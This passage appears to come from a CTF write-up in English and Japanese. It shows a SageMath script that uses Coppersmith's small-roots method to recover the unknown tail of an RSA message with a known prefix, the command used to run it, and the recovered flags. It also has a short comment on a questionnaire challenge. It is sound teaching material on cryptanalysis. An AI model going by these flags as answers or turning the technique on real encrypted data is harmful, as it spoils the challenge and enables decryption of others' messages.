c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310
m1 = int.from_bytes(b"the magic words are squeamish ossifrage. nitic_ctf{", "big")
PR.<m2> = PolynomialRing(Zmod(N))
f = (m1*2^(8*8)+m2)^e-c
m2 = f.small_roots(epsilon=0.05)[0]
print(int(m2).to_bytes(8, "big").decode())
>docker run --rm -v %CD%:/tmp sagemath/sagemath sage /tmp/solve.sage
k01k01!}
nitic_ctf{k01k01!}
Welcome
アンケート (1, 125 solves)
「Welcomeでアンケート……?」と思ったら、「どの問題が面白かった?」のような設問ではなく、「このコンテストに参加した理由は?」とかだった。
nitic_ctf{Thank_you_for_answering_the_questionnaire}